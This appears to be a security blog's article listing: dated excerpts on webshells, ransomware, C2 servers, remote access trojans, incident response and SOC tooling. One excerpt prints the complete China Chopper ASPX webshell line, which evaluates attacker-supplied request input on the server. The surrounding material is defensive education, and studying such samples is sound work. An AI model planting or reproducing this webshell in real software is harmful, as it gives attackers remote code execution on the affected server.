Blog
Malware AnalysisWhat Is a Webshell?
China Chopper's server component is one line of ASPX. <%@ Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%> That line, dropped anywhere under a web root that IIS will hand to the…
2025-12-2011 min read
Malware AnalysisWhat Is Ransomware?
Akira's encryptor runs as w.exe, appends .akira or .powerranges to the files it touches, and drops akira_readme.txt into C:\ and each user's home directory under C:\Users. CISA documented all three…
2025-12-1110 min read
Malware AnalysisWhat Is a Command-and-Control (C2) Server?
A Cobalt Strike Beacon configured with sleep 60 0 sends an HTTP request to its team server every sixty seconds, forever, until an operator tells it otherwise. An implant that cannot reach its…
2025-11-269 min read
Malware AnalysisWhat Is a Remote Access Trojan (RAT)?
Remcos adds itself to HKCU\Software\Microsoft\Windows\CurrentVersion\Run and then does nothing until an operator connects. That pause is the whole point. A remote access trojan is not a payload that…
2025-11-199 min read
Incident ResponseWhat Is a Lessons Learned Session in IR?
Two lines came out of the same incident. The first: "improve communication with the network team." The second: "on-call had no out-of-hours route to network engineering, so the rota now lists a named…
2025-11-078 min read
Incident ResponseWhat Is Post-Incident Review (PIR)?
NIST SP 800-61 Revision 2 lists nine questions for a lessons learned meeting. The last three are the only ones that point forward, and they are the ones teams skip. Corrective actions, precursors and…
2025-10-2310 min read
Incident ResponseWhat Is Root Cause Analysis in Security Incidents?
At 09:14 a user typed their password into a page that looked like the corporate SSO portal. By 10:47, 4,214 files had been read from \\FS01\Finance. The report that names the phishing email as the…
2025-10-169 min read
Incident ResponseWhat Is an Incident Timeline in DFIR?
MFTECmd writes a column named SI<FN into its $MFT CSV. It holds a boolean. True means the $STANDARD_INFORMATION created time on that file is earlier than the $FILE_NAME created time, which on a file…
2025-09-2610 min read
Incident ResponseWhat is an incident response plan?
Article 33 of the GDPR gives a controller 72 hours from becoming aware of a personal data breach to notify the supervisory authority. Not 72 hours from containment. Not 72 hours from the forensic…
2025-09-2310 min read
Incident ResponseWhat Is Incident Response?
NIST SP 800-61 Revision 3 shipped in April 2025 and removed the four-phase incident response lifecycle that everyone quotes. The phases did not stop being true. NIST decided the details of how to run…
2025-09-1110 min read
Guides & TutorialsWhat Is a SOC Runbook?
Step 4 of a log source onboarding runbook is one command, sudo filebeat test output. Step 5 is the line that command has to print before anyone is allowed to continue: talk to server... OK. That is…
2025-08-288 min read
Security OperationsWhat Is SOAR?
POST /devices/entities/devices-actions/v2?action_name=contain takes a CrowdStrike host off the network. action_name=lift_containment puts it back. Both are one HTTP call against the same endpoint,…
2025-08-1810 min read